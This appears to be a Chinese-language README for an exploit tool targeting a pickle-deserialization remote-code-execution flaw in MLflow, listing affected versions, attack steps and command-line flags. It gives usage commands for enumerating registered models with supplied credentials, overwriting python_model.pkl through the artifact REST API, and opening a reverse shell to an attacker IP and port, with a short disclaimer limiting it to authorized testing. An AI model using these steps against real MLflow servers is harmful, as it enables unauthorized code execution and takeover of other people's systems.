严重性: 严重
受影响版本: MLflow 0.9.0 – 2.14.1
类型: 通过 Python pickle 反序列化实现任意代码执行
mlflow.pyfunc.load_model() 从工件存储中反序列化 python_model.pkl 且不带任何清理。能够访问 MLflow 工件 REST API 的攻击者可以用恶意 pickle 覆盖该文件,从而在下次加载模型时执行任意操作系统命令。
pip install requests cloudpickle
# 枚举已注册的模型
python3 exploit.py --mlflow http://mlflow.target.com \
--user admin --pass secret \
list
# 显式指定模型 + MLflow Basic Auth
python3 exploit.py --mlflow http://mlflow.target.com \
--user admin --pass secret \
revshell 10.10.16.1 4444
/api/2.0/mlflow/registered-models/search 以找到模型及其 run_id / experiment_idPUT 到 /api/2.0/mlflow-artifacts/artifacts/{exp_id}/{run_id}/artifacts/model/python_model.pklmlflow.pyfunc.load_model() 的代码路径都会反序列化该 payload 并执行命令触发步骤需要一个加载模型的应用端点。如果不知道任何端点,请使用 --no-trigger(或省略 --trigger-url),并通过任何可用方式触发加载。
仅用于授权的渗透测试和教育目的。
| 标志 | 描述 |
|---|
--mlflow URL | MLflow 跟踪服务器基础 URL(必需) |
--model NAME | 已注册的模型名称 — 省略时自动选择第一个 |
--version N | 模型版本 — 默认为最新 |
--user / --pass | 用于 MLflow 的 HTTP Basic Auth 凭据 |
--run-id / --exp-id | 使用已知 ID 绕过模型发现 |
--trigger-url URL | 调用 load_model() 的应用端点 — 省略则仅上传 |
--session COOKIE | 随触发请求发送的会话 Cookie |